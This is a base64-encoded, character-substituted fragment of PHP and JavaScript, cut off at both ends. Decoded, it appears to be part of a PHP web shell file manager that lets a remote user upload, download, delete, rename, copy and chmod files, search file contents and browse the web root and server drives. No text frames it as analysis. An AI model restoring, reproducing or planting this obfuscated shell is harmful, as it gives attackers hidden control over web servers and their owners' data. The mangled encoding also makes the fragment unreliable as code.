mMTRsNWQnKSk7DQoJCX0NCgl9DQoNCgkvLyAmI2FpNjc2OyYjYTZhaW87JiM2OTk3OTsmI29lN29vOw0KCTVsczU0ZigkZDI0bmcgPT0gJ2Qyd25yMXInKSB7DQoJCTRmICgkZGwpIHsNCgkJCSRkZjRsNXM9Jyc7DQoJCQlmMnI1MWNoICgkZGwgMXMgJGY0bDVwMXRoID0+ICR2MWwzNSkgew0KCQkJCSRkZjRsNXMuPSRmNGw1cDF0aC4nLCc7DQoJCQl9DQoJCQkkZGY0bDVzPXMzYnN0cigkZGY0bDVzLDAsc3RybDVuKCRkZjRsNXMpLTYpOw0KCQkJJGRsPTV4cGwyZDUoJywnLCRkZjRsNXMpOw0KCQkJJHo0cD1uNXcgUEhQWjRwKCRkbCk7DQoJCQkkYzJkNT0kejRwLT4yM3Q7DQoJCQloNTFkNXIoJ0MybnQ1bnQtdHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJyk7DQoJCQloNTFkNXIoJ0FjYzVwdC1SMW5nNXM6IGJ5dDVzJyk7DQoJCQloNTFkNXIoJ0FjYzVwdC1MNW5ndGg6ICcuc3RybDVuKCRjMmQ1KSk7DQoJCQloNTFkNXIoJ0MybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7ZjRsNW4xbTU9Jy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ19GNGw1cy50MXIuZ3onKTsNCgkJCTVjaDIgJGMyZDU7DQoJCQk1eDR0Ow0KCQl9IDVsczUgew0KCQkJbSgnUGw1MXM1IHM1bDVjdCBmNGw1KHMpJyk7DQoJCX0NCgl9DQoNCgkvLyAmI2FpYTA5OyYjbzdvYTc7JiNhNjBhdTsmI284aTAwOyYjYWk5OTY7JiNhMGE2dTsNCgk1bHM1NGYoJGQyNG5nID09ICdkNWxmNGw1cycpIHsNCgkJNGYgKCRkbCkgew0KCQkJJGRmNGw1cz0nJzsNCgkJCSRzM2NjID0gJGYxNGwgPSAwOw0KCQkJZjJyNTFjaCAoJGRsIDFzICRmNGw1cDF0aCA9PiAkdjFsMzUpIHsNCgkJCQk0ZiAoQDNubDRuaygkZjRsNXAxdGgpKSB7DQoJCQkJCSRzM2NjKys7DQoJCQkJfSA1bHM1IHsNCgkJCQkJJGYxNGwrKzsNCgkJCQl9DQoJCQl9DQoJCQltKCdENWw1dDVkIGY0bDUgaDF2NSBmNG40c2g1ZCxjaDIyczUgJy5jMjNudCgkZGwpLicgczNjYzVzcyAnLiRzM2NjLicgZjE0bCAnLiRmMTRsKTsNCgkJfSA1bHM1IHsNCgkJCW0oJ1BsNTFzNSBzNWw1Y3QgZjRsNShzKScpOw0KCQl9DQoJfQ0KDQoJLy8mI2FpODBpOyYjYTBvNmU7JiNhb3VvZTsmI2E3ZTBpOw0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J2NyNTF0NWQ0cicpKTsNCgltMWs1aDRkNSgnbjV3ZDRybjFtNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCglmMnJtZjIydCgpOw0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J2Y0bDVwNXJtJykpOw0KCW0xazVoNGQ1KCduNXdwNXJtJyk7DQoJbTFrNWg0ZDUoJ3BmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KCWYycm1mMjJ0KCk7DQoJZjJybWg1MWQoMXJyMXkoJ24xbTUnPT4nYzJweWY0bDUnKSk7DQoJbTFrNWg0ZDUoJ3NuMW01Jyk7DQoJbTFrNWg0ZDUoJ3QyZjRsNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCglmMnJtZjIydCgpOw0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J3I1bjFtNScpKTsNCgltMWs1aDRkNSgnMmxkbjFtNScpOw0KCW0xazVoNGQ1KCduNXdmNGw1bjFtNScpOw0KCW0xazVoNGQ1KCdkNHInLCRuMndwMXRoKTsNCglmMnJtZjIydCgpOw0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J2Y0bDUycGYycm0nLCAndDFyZzV0Jz0+J19ibDFuaycpKTsNCgltMWs1aDRkNSgnMWN0NDJuJyk7DQoJbTFrNWg0ZDUoJzJwZjRsNScpOw0KCW0xazVoNGQ1KCdkNHInKTsNCglmMnJtZjIydCgpOw0KCWYycm1oNTFkKDFycjF5KCduMW01Jz0+J2c1dHM0ejUnKSk7DQoJbTFrNWg0ZDUoJ2c1dGQ0cicpOw0KCW0xazVoNGQ1KCdkNHInKTsNCglmMnJtZjIydCgpOw0KDQoJJGZyNTUgPSBAZDRza19mcjU1X3NwMWM1KCRuMndwMXRoKTsNCgkhJGZyNTUgJiYgJGZyNTUgPSAwOw0KCSQxbGwgPSBAZDRza190MnQxbF9zcDFjNSgkbjJ3cDF0aCk7DQoJISQxbGwgJiYgJDFsbCA9IDA7DQoJJDNzNWQgPSAkMWxsLSRmcjU1Ow0KCSQzczVkX3A1cmM1bnQgPSBAcjIzbmQoNjAwLygkMWxsLyRmcjU1KSxhKTsNCglwKCc8aGE+RjRsNSBNMW4xZzVyIC0gQzNycjVudCBkNHNrIGZyNTUgJy5zNHo1YzIzbnQoJGZyNTUpLicgMmYgJy5zNHo1YzIzbnQoJDFsbCkuJyAoJy4kM3M1ZF9wNXJjNW50LiclKTwvaGE+Jyk7DQoNCj8+DQo8dDFibDUgdzRkdGg9IjYwMCUiIGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9IjAiIGM1bGxzcDFjNG5nPSIwIiBzdHlsNT0ibTFyZzRuOjYwcHggMDsiPg0KICA8ZjJybSAxY3Q0Mm49IiIgbTV0aDJkPSJwMnN0IiA0ZD0iZzJkNHIiIG4xbTU9ImcyZDRyIj4NCiAgPHRyPg0KICAgIDx0ZCBuMndyMXA+QzNycjVudCBENHI1Y3QycnkgKDw/cGhwIDVjaDIgJGQ0cl93cjR0NTFibDU7Pz4sIDw/cGhwIDVjaDIgZzV0Q2htMmQoJG4yd3AxdGgpOz8+KTwvdGQ+DQoJPHRkIHc0ZHRoPSI2MDAlIj48NG5wM3QgbjFtNT0idjQ1d193cjR0MWJsNSIgdjFsMzU9IjAiIHR5cDU9Img0ZGQ1biIgLz48NG5wM3QgY2wxc3M9IjRucDN0IiBuMW01PSJkNHIiIHYxbDM1PSI8P3BocCA1Y2gyICRuMndwMXRoOz8+IiB0eXA1PSJ0NXh0IiBzdHlsNT0idzRkdGg6NjAwJTttMXJnNG46MCA4cHg7Ij48L3RkPg0KICAgIDx0ZCBuMndyMXA+PDRucDN0IGNsMXNzPSJidCIgdjFsMzU9IkdPIiB0eXA1PSJzM2JtNHQiPjwvdGQ+DQogIDwvdHI+DQogIDwvZjJybT4NCjwvdDFibDU+DQo8c2NyNHB0IHR5cDU9InQ1eHQvajF2MXNjcjRwdCI+DQpmM25jdDQybiBjcjUxdDVkNHIoKXsNCgl2MXIgbjV3ZDRybjFtNTsNCgluNXdkNHJuMW01ID0gcHIybXB0KCdQbDUxczUgNG5wM3QgdGg1IGQ0cjVjdDJyeSBuMW01OicsICcnKTsNCgk0ZiAoIW41d2Q0cm4xbTUpIHI1dDNybjsNCgkkKCdjcjUxdDVkNHInKS5uNXdkNHJuMW01LnYxbDM1PW41d2Q0cm4xbTU7DQoJJCgnY3I1MXQ1ZDRyJykuczNibTR0KCk7DQp9DQpmM25jdDQybiBmNGw1cDVybShwZjRsNSl7DQoJdjFyIG41d3A1cm07DQoJbjV3cDVybSA9IHByMm1wdCgnQzNycjVudCBmNGw1OicrcGY0bDUrJ1xuUGw1MXM1IDRucDN0IG41dyAxdHRyNGIzdDU6JywgJycpOw0KCTRmICghbjV3cDVybSkgcjV0M3JuOw0KCSQoJ2Y0bDVwNXJtJykubjV3cDVybS52MWwzNT1uNXdwNXJtOw0KCSQoJ2Y0bDVwNXJtJykucGY0bDUudjFsMzU9cGY0bDU7DQoJJCgnZjRsNXA1cm0nKS5zM2JtNHQoKTsNCn0NCmYzbmN0NDJuIGMycHlmNGw1KHNuMW01KXsNCgl2MXIgdDJmNGw1Ow0KCXQyZjRsNSA9IHByMm1wdCgnT3I0ZzRuMWwgZjRsNTonK3NuMW01KydcblBsNTFzNSA0bnAzdCAyYmo1Y3QgZjRsNSAoZjNsbHAxdGgpOicsICcnKTsNCgk0ZiAoIXQyZjRsNSkgcjV0M3JuOw0KCSQoJ2MycHlmNGw1JykudDJmNGw1LnYxbDM1PXQyZjRsNTsNCgkkKCdjMnB5ZjRsNScpLnNuMW01LnYxbDM1PXNuMW01Ow0KCSQoJ2MycHlmNGw1JykuczNibTR0KCk7DQp9DQpmM25jdDQybiByNW4xbTUoMmxkbjFtNSl7DQoJdjFyIG41d2Y0bDVuMW01Ow0KCW41d2Y0bDVuMW01ID0gcHIybXB0KCdGMnJtNXIgZjRsNSBuMW01OicrMmxkbjFtNSsnXG5QbDUxczUgNG5wM3QgbjV3IGY0bDVuMW01OicsICcnKTsNCgk0ZiAoIW41d2Y0bDVuMW01KSByNXQzcm47DQoJJCgncjVuMW01JykubjV3ZjRsNW4xbTUudjFsMzU9bjV3ZjRsNW4xbTU7DQoJJCgncjVuMW01JykuMmxkbjFtNS52MWwzNT0ybGRuMW01Ow0KCSQoJ3I1bjFtNScpLnMzYm00dCgpOw0KfQ0KZjNuY3Q0Mm4gZDJmNGw1KGQyNG5nLHRoNWY0bDUsbSl7DQoJNGYgKG0gJiYgIWMybmY0cm0obSkpIHsNCgkJcjV0M3JuOw0KCX0NCgkkKCdmNGw1bDRzdCcpLmQyNG5nLnYxbDM1PWQyNG5nOw0KCTRmICh0aDVmNGw1KXsNCgkJJCgnZjRsNWw0c3QnKS50aDVmNGw1LnYxbDM1PXRoNWY0bDU7DQoJfQ0KCSQoJ2Y0bDVsNHN0JykuczNibTR0KCk7DQp9DQpmM25jdDQybiBjcjUxdDVmNGw1KG4yd3AxdGgpew0KCXYxciBmNGw1bjFtNTsNCglmNGw1bjFtNSA9IHByMm1wdCgnUGw1MXM1IDRucDN0IHRoNSBmNGw1IG4xbTU6JywgJycpOw0KCTRmICghZjRsNW4xbTUpIHI1dDNybjsNCgkycGY0bDUoJzVkNHRmNGw1JyxuMndwMXRoICsgZjRsNW4xbTUsbjJ3cDF0aCk7DQp9DQpmM25jdDQybiAycGY0bDUoMWN0NDJuLDJwZjRsNSxkNHIpew0KCSQoJ2Y0bDUycGYycm0nKS4xY3Q0Mm4udjFsMzU9MWN0NDJuOw0KCSQoJ2Y0bDUycGYycm0nKS4ycGY0bDUudjFsMzU9MnBmNGw1Ow0KCSQoJ2Y0bDUycGYycm0nKS5kNHIudjFsMzU9ZDRyOw0KCSQoJ2Y0bDUycGYycm0nKS5zM2JtNHQoKTsNCn0NCmYzbmN0NDJuIGcyZDRyKGQ0cix2NDV3X3dyNHQxYmw1KXsNCgk0ZiAodjQ1d193cjR0MWJsNSkgew0KCQkkKCdnMmQ0cicpLnY0NXdfd3I0dDFibDUudjFsMzU9djQ1d193cjR0MWJsNTsNCgl9DQoJJCgnZzJkNHInKS5kNHIudjFsMzU9ZDRyOw0KCSQoJ2cyZDRyJykuczNibTR0KCk7DQp9DQpmM25jdDQybiBnNXRzNHo1KGc1dGQ0cixkNHIpew0KCSQoJ2c1dHM0ejUnKS5nNXRkNHIudjFsMzU9ZzV0ZDRyOw0KCSQoJ2c1dHM0ejUnKS5kNHIudjFsMzU9ZDRyOw0KCSQoJ2c1dHM0ejUnKS5zM2JtNHQoKTsNCn0NCjwvc2NyNHB0Pg0KICA8P3BocA0KCSRmNG5kc3RyID0gJF9QT1NUWydmNG5kc3RyJ107DQoJJHI1ID0gJF9QT1NUWydyNSddOw0KCXRiaDUxZCgpOw0KCXAoJzx0ciBjbDFzcz0iMWx0NiI+PHRkIGMybHNwMW49IjciIHN0eWw1PSJwMWRkNG5nOmlweDtsNG41LWg1NGdodDphMHB4OyI+Jyk7DQoJcCgnPGYycm0gMWN0NDJuPSInLiRzNWxmLiciIG01dGgyZD0iUE9TVCIgNW5jdHlwNT0ibTNsdDRwMXJ0L2Yycm0tZDF0MSI+PGQ0diBzdHlsNT0iZmwyMXQ6cjRnaHQ7Ij48NG5wM3QgY2wxc3M9IjRucDN0IiBuMW01PSIzcGwyMWRmNGw1IiB2MWwzNT0iIiB0eXA1PSJmNGw1IiAvPiA8NG5wM3QgY2wxc3M9ImJ0IiBuMW01PSJkMjNwZjRsNSIgdjFsMzU9IlVwbDIxZCIgdHlwNT0iczNibTR0IiAvPjw0bnAzdCBuMW01PSIzcGwyMWRkNHIiIHYxbDM1PSInLiRkNHIuJyIgdHlwNT0iaDRkZDVuIiAvPjw0bnAzdCBuMW01PSJkNHIiIHYxbDM1PSInLiRkNHIuJyIgdHlwNT0iaDRkZDVuIiAvPjwvZDR2PjwvZjJybT4nKTsNCglwKCc8MSBocjVmPSJqMXYxc2NyNHB0OmcyZDRyKFwnJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLidcJyk7Ij5XNWJSMjJ0PC8xPicpOw0KCXAoJyB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzJkNHIoXCcuXCcpOyI+U2NyNHB0UDF0aDwvMT4nKTsNCglwKCcgfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyZDRyKFwnJy4kbjJ3cDF0aC4nXCcpOyI+VjQ1dyBBbGw8LzE+Jyk7DQoJcCgnIHwgVjQ1dyBXcjR0MWJsNSAoIDwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzJkNHIoXCcnLiRuMndwMXRoLidcJyxcJ2Q0clwnKTsiPkQ0cjVjdDJyeTwvMT4nKTsNCglwKCcgfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyZDRyKFwnJy4kbjJ3cDF0aC4nXCcsXCdmNGw1XCcpOyI+RjRsNTwvMT4gKScpOw0KCXAoJyB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6Y3I1MXQ1ZDRyKCk7Ij5DcjUxdDUgRDRyNWN0MnJ5PC8xPiB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6Y3I1MXQ1ZjRsNShcJycuJG4yd3AxdGguJ1wnKTsiPkNyNTF0NSBGNGw1PC8xPicpOw0KCTRmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoJCSQyYmogPSBuNXcgQ09NKCdzY3I0cHQ0bmcuZjRsNXN5c3Q1bTJiajVjdCcpOw0KCQk0ZiAoJDJiaiAmJiA0c18yYmo1Y3QoJDJiaikgJiYgNHNfMXJyMXkoJDJiai0+RHI0djVzKSkgew0KCQkJJERyNHY1VHlwNURCID0gMXJyMXkoMCA9PiAnVW5rbjJ3Jyw2ID0+ICdSNW0ydjFibDUnLGEgPT4gJ0Y0eDVkJyxvID0+ICdONXR3MnJrJyx1ID0+ICdDRFIybScsaSA9PiAnUkFNIEQ0c2snKTsNCgkJCWYycjUxY2goJDJiai0+RHI0djVzIDFzICRkcjR2NSkgew0KCQkJCTRmICgkZHI0djUtPkRyNHY1VHlwNSA9PSBhKSB7DQoJCQkJCXAoJyB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzJkNHIoXCcnLiRkcjR2NS0+UDF0aC4nL1wnKTsiIHQ0dGw1PSJTNHo1OicuczR6NWMyM250KCRkcjR2NS0+VDJ0MWxTNHo1KS4nJiM2bztGcjU1OicuczR6NWMyM250KCRkcjR2NS0+RnI1NVNwMWM1KS4nJiM2bztUeXA1OicuJERyNHY1VHlwNURCWyRkcjR2NS0+RHI0djVUeXA1XS4nIj4nLiREcjR2NVR5cDVEQlskZHI0djUtPkRyNHY1VHlwNV0uJygnLiRkcjR2NS0+UDF0aC4nKTwvMT4nKTsNCgkJCQl9IDVsczUgew0KCQkJCQlwKCcgfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyZDRyKFwnJy4kZHI0djUtPlAxdGguJy9cJyk7IiB0NHRsNT0iVHlwNTonLiREcjR2NVR5cDVEQlskZHI0djUtPkRyNHY1VHlwNV0uJyI+Jy4kRHI0djVUeXA1REJbJGRyNHY1LT5EcjR2NVR5cDVdLicoJy4kZHI0djUtPlAxdGguJyk8LzE+Jyk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPGJyIC8+PGYycm0gMWN0NDJuPSInLiRzNWxmLiciIG01dGgyZD0iUE9TVCI+RjRuZCBzdHI0bmcgNG4gZjRsNXMoYzNycjVudCBmMmxkNXIpOiA8NG5wM3QgY2wxc3M9IjRucDN0IiBuMW01PSJmNG5kc3RyIiB2MWwzNT0iJy4kZjRuZHN0ci4nIiB0eXA1PSJ0NXh0IiAvPiA8NG5wM3QgY2wxc3M9ImJ0IiB2MWwzNT0iRjRuZCIgdHlwNT0iczNibTR0IiAvPiBUeXA1OiA8NG5wM3QgY2wxc3M9IjRucDN0IiBuMW01PSJ3cjR0MWJsNWRiIiB2MWwzNT0iJy4kd3I0dDFibDVkYi4nIiB0eXA1PSJ0NXh0IiAvPjw0bnAzdCBuMW01PSJkNHIiIHYxbDM1PSInLiRkNHIuJyIgdHlwNT0iaDRkZDVuIiAvPiA8NG5wM3QgbjFtNT0icjUiIHYxbDM1PSI2IiB0eXA1PSJjaDVja2IyeCIgJy4oJHI1ID8gJ2NoNWNrNWQnIDogJycpLicgLz4gUjVnM2wxciA1eHByNXNzNDJuczwvZjJybT48L3RkPjwvdHI+Jyk7DQoNCglwKCc8dHIgY2wxc3M9Img1MWQiPjx0ZD4mbmJzcDs8L3RkPjx0ZD5GNGw1bjFtNTwvdGQ+PHRkIHc0ZHRoPSI2ZSUiPkwxc3QgbTJkNGY0NWQ8L3RkPjx0ZCB3NGR0aD0iNjAlIj5TNHo1PC90ZD48dGQgdzRkdGg9ImEwJSI+Q2htMmQgLyBQNXJtczwvdGQ+PHRkIHc0ZHRoPSJhYSUiPkFjdDQybjwvdGQ+PC90cj4nKTsNCg0KCS8vJiNhZWk5NzsmI28wdTdpOyYjYWk2aWE7JiNhZW83NzsmI2E2dTg3OyYjYTA4ODk7JiNhaTk5NjsmI2EwYTZ1OyYjYTZldXU7JiNvMHV1ZTsmI2F1dTBpOw0KCSRkNHJkMXQxPTFycjF5KCk7DQoJJGY0bDVkMXQxPTFycjF5KCk7DQoNCgk0ZiAoJHY0NXdfd3I0dDFibDUgPT0gJ2Q0cicpIHsNCgkJJGQ0cmQxdDEgPSBHNXRXRDRyTDRzdCgkbjJ3cDF0aCk7DQoJCSRmNGw1ZDF0MSA9IDFycjF5KCk7DQoJfSA1bHM1NGYgKCR2NDV3X3dyNHQxYmw1ID09ICdmNGw1Jykgew0KCQkkZDRyZDF0MSA9IDFycjF5KCk7DQoJCSRmNGw1ZDF0MSA9IEc1dFdGNGw1TDRzdCgkbjJ3cDF0aCk7DQoJfSA1bHM1NGYgKCRmNG5kc3RyKSB7DQoJCSRkNHJkMXQxID0gMXJyMXkoKTsNCgkJJGY0bDVkMXQxID0gRzV0U0Y0bDVMNHN0KCRuMndwMXRoLCAkZjRuZHN0ciwgJHI1KTsNCgl9IDVsczUgew0KCQkvLyAmI28wdXVlOyYjYXV1MGk7JiNhNjA2aTsmI291OWEwOw0KCQkkZDRycz1AMnA1bmQ0cigkZDRyKTsNCgkJd2g0bDUgKCRmNGw1PUByNTFkZDRyKCRkNHJzKSkgew0KCQkJJGY0bDVwMXRoPSRuMndwMXRoLiRmNGw1Ow0KCQkJNGYoQDRzX2Q0cigkZjRsNXAxdGgpKXsNCgkJCQkkZDRyZGJbJ2Y0bDVuMW01J109JGY0bDU7DQoJCQkJJGQ0cmRiWydtdDRtNSddPUBkMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRmNGw1cDF0aCkpOw0KCQkJCSRkNHJkYlsnZDRyY2htMmQnXT1nNXRDaG0yZCgkZjRsNXAxdGgpOw0KCQkJCSRkNHJkYlsnZDRycDVybSddPWc1dFA1cm1zKCRmNGw1cDF0aCk7DQoJCQkJJGQ0cmRiWydmNGw1MnduNXInXT1nNXRVczVyKCRmNGw1cDF0aCk7DQoJCQkJJGQ0cmRiWydkNHJsNG5rJ109JG4yd3AxdGg7DQoJCQkJJGQ0cmRiWydzNXJ2NXJfbDRuayddPSRmNGw1cDF0aDsNCgkJCQkkZDRyZGJbJ2NsNDVudF9sNG5rJ109MzUoJGY0bDVwMXRoKTsNCgkJCQkkZDRyZDF0MVtdPSRkNHJkYjsNCgkJCX0gNWxzNSB7CQkNCgkJCQkkZjRsNWRiWydmNGw1bjFtNSddPSRmNGw1Ow0KCQkJCSRmNGw1ZGJbJ3M0ejUnXT1zNHo1YzIzbnQoQGY0bDVzNHo1KCRmNGw1cDF0aCkpOw0KCQkJCSRmNGw1ZGJbJ210NG01J109QGQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJGY0bDVwMXRoKSk7DQoJCQkJJGY0bDVkYlsnZjRsNWNobTJkJ109ZzV0Q2htMmQoJGY0bDVwMXRoKTsNCgkJCQkkZjRsNWRiWydmNGw1cDVybSddPWc1dFA1cm1zKCRmNGw1cDF0aCk7DQoJCQkJJGY0bDVkYlsnZjRsNTJ3bjVyJ109ZzV0VXM1cigkZjRsNXAxdGgpOw0KCQkJCSRmNGw1ZGJbJ2Q0cmw0bmsnXT0kbjJ3cDF0aDsNCgkJCQkkZjRsNWRiWydzNXJ2NXJfbDRuayddPSRmNGw1cDF0aDsNCgkJCQkkZjRsNWRiWydjbDQ1bnRfbDRuayddPTM1KCRmNGw1cDF0aCk7DQoJCQkJJGY0bDVkMXQxW109JGY0bDVkYjsNCgkJCX0NCgkJfS8vIHdoNGw1DQoJCTNuczV0KCRkNHJkYik7DQoJCTNuczV0KCRmNGw1ZGIpOw0KCQlAY2wyczVkNHIoJGQ0cnMpOw0KCX0NCglAczJydCgkZDRyZDF0MSk7DQoJQHMycnQoJGY0bDVkMXQxKTsNCgkkZDRyXzQgPSAnMCc7DQoNCglmMnI1MWNoKCRkNHJkMXQxIDFzICRrNXkgPT4gJGQ0cmRiKXsNCgkJNGYoJGQ0cmRiWydmNGw1bjFtNSddIT0nLi4nICYmICRkNHJkYlsnZjRsNW4xbTUnXSE9Jy4nKSB7DQoJCQk0ZigkZzV0ZDRyICYmICRnNXRkNHIgPT0gJGQ0cmRiWydzNXJ2NXJfbDRuayddKSB7DQoJCQkJJDF0dDFjaHM0ejUgPSBkNHJzNHo1KCRkNHJkYlsnczVydjVyX2w0bmsnXSk7DQoJCQkJJDF0dDFjaHM0ejUgPSA0c19uM201cjRjKCQxdHQxY2hzNHo1KSA/IHM0ejVjMjNudCgkMXR0MWNoczR6NSkgOiAnVW5rbjJ3bic7DQoJCQl9IDVsczUgew0KCQkJCSQxdHQxY2hzNHo1ID0gJzwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzV0czR6NShcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyxcJycuJGQ0ci4nXCcpOyI+U3QxdDwvMT4nOw0KCQkJfQ0KCQkJJHRoNHNiZyA9IGJnKCk7DQoJCQlwKCc8dHIgY2wxc3M9IicuJHRoNHNiZy4nIiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCcnLiR0aDRzYmcuJ1wnOyI+Jyk7DQoJCQlwKCc8dGQgdzRkdGg9ImElIiBuMndyMXA+PGYybnQgZjFjNT0idzRuZ2Q0bmdzIiBzNHo1PSJvIj4wPC9mMm50PjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PDEgaHI1Zj0iajF2MXNjcjRwdDpnMmQ0cihcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyk7Ij4nLiRkNHJkYlsnZjRsNW4xbTUnXS4nPC8xPjwvdGQ+Jyk7DQoJCQlwKCc8dGQgbjJ3cjFwPicuJGQ0cmRiWydtdDRtNSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD4nLiQxdHQxY2hzNHo1Lic8L3RkPicpOw0KCQkJcCgnPHRkIG4yd3IxcD4nKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6ZjRsNXA1cm0oXCcnLiRkNHJkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+Jy4kZDRyZGJbJ2Q0cmNobTJkJ10uJzwvMT4gLyAnKTsNCgkJCXAoJzwxIGhyNWY9ImoxdjFzY3I0cHQ6ZjRsNXA1cm0oXCcnLiRkNHJkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+Jy4kZDRyZGJbJ2Q0cnA1cm0nXS4nPC8xPicuJGQ0cmRiWydmNGw1MnduNXInXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBuMndyMXA+PDEgaHI1Zj0iajF2MXNjcjRwdDpkMmY0bDUoXCdkNWxkNHJcJyxcJycuJGQ0cmRiWydzNXJ2NXJfbDRuayddLidcJyxcJ0FyNSB5MjMgczNyNSB3NGxsIGQ1bDV0NSA8Jy4kZDRyZGJbJ2Y0bDVuMW01J10uJz4/IFxcblxcbklmIG4ybi01bXB0eSBkNHI1Y3QycnksIHc0bGwgYjUgZDVsNXQ1IDFsbCB0aDUgZjRsNXMuXCcpIj5ENWw8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpyNW4xbTUoXCcnLiRkNHJkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+UjVuMW01PC8xPjwvdGQ+Jyk7DQoJCQlwKCc8L3RyPicpOw0KCQkJJGQ0cl80Kys7DQoJCX0gNWxzNSB7DQoJCQk0ZigkZDRyZGJbJ2Y0bDVuMW01J109PScuLicpIHsNCgkJCQlwKCc8dHIgY2wxc3M9Jy5iZygpLic+Jyk7DQoJCQkJcCgnPHRkIDFsNGduPSJjNW50NXIiPjxmMm50IGYxYzU9Ilc0bmdkNG5ncyBvIiBzNHo1PXU+PTwvZjJudD48L3RkPjx0ZCBuMndyMXAgYzJsc3Axbj0iaSI+PDEgaHI1Zj0iajF2MXNjcjRwdDpnMmQ0cihcJycuZzV0VXBQMXRoKCRuMndwMXRoKS4nXCcpOyI+UDFyNW50IEQ0cjVjdDJyeTwvMT48L3RkPicpOw0KCQkJCXAoJzwvdHI+Jyk7DQoJCQl9DQoJCX0NCgl9DQoNCglwKCc8dHIgYmdjMmwycj0iI2RkZGRkZCIgc3RseTU9ImIycmQ1ci10MnA6NnB4IHMybDRkICNmZmY7YjJyZDVyLWIydHQybTo2cHggczJsNGQgI2RkZDsiPjx0ZCBjMmxzcDFuPSJlIiBoNTRnaHQ9ImkiPjwvdGQ+PC90cj4nKTsNCglwKCc8ZjJybSA0ZD0iZjRsNWw0c3QiIG4xbTU9ImY0bDVsNHN0IiAxY3Q0Mm49IicuJHM1bGYuJyIgbTV0aDJkPSJwMnN0Ij4nKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnZjRsNScpOw0KCW0xazVoNGQ1KCd0aDVmNGw1Jyk7DQoJbTFrNWg0ZDUoJ2QyNG5nJyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJG4yd3AxdGgpOw0KCSRmNGw1XzQgPSAnMCc7DQoNCglmMnI1MWNoKCRmNGw1ZDF0MSAxcyAkazV5ID0+ICRmNGw1ZGIpew0KCQk0ZigkZjRsNWRiWydmNGw1bjFtNSddIT0nLi4nICYmICRmNGw1ZGJbJ2Y0bDVuMW01J10hPScuJykgew0KCQkJJGY0bDUzcmwgPSBzdHJfcjVwbDFjNSgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLCcnLCRmNGw1ZGJbJ3M1cnY1cl9sNG5rJ10pOw0KCQkJJHRoNHNiZyA9IGJnKCk7DQoJCQlwKCc8dHIgY2wxc3M9IicuJHRoNHNiZy4nIiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCcnLiR0aDRzYmcuJ1wnOyI+Jyk7DQoJCQlwKCc8dGQgdzRkdGg9ImElIiBuMndyMXA+PDRucDN0IHR5cDU9ImNoNWNrYjJ4IiB2MWwzNT0iNiIgbjFtNT0iZGxbJy4kZjRsNWRiWydzNXJ2NXJfbDRuayddLiddIj48L3RkPicpOw0KCQkJcCgnPHRkPjwxIGhyNWY9IicuJGY0bDUzcmwuJyIgdDFyZzV0PSJfYmwxbmsiPicuJGY0bDVkYlsnZjRsNW4xbTUnXS4nPC8xPjwvdGQ+Jyk7DQoJCQlwKCc8dGQgbjJ3cjFwPicuJGY0bDVkYlsnbXQ0bTUnXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBuMndyMXA+Jy4kZjRsNWRiWydzNHo1J10uJzwvdGQ+Jyk7DQoJCQlwKCc8dGQgbjJ3cjFwPicpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpmNGw1cDVybShcJycuJGY0bDVkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+Jy4kZjRsNWRiWydmNGw1Y2htMmQnXS4nPC8xPiAvICcpOw0KCQkJcCgnPDEgaHI1Zj0iajF2MXNjcjRwdDpmNGw1cDVybShcJycuJGY0bDVkYlsnczVydjVyX2w0bmsnXS4nXCcpOyI+Jy4kZjRsNWRiWydmNGw1cDVybSddLic8LzE+Jy4kZjRsNWRiWydmNGw1MnduNXInXS4nPC90ZD4nKTsNCgkJCXAoJzx0ZCBuMndyMXA+Jyk7DQoJCQlwKCc8MSBocjVmPSJqMXYxc2NyNHB0OmQyZjRsNShcJ2Qyd25mNGw1XCcsXCcnLiRmNGw1ZGJbJ3M1c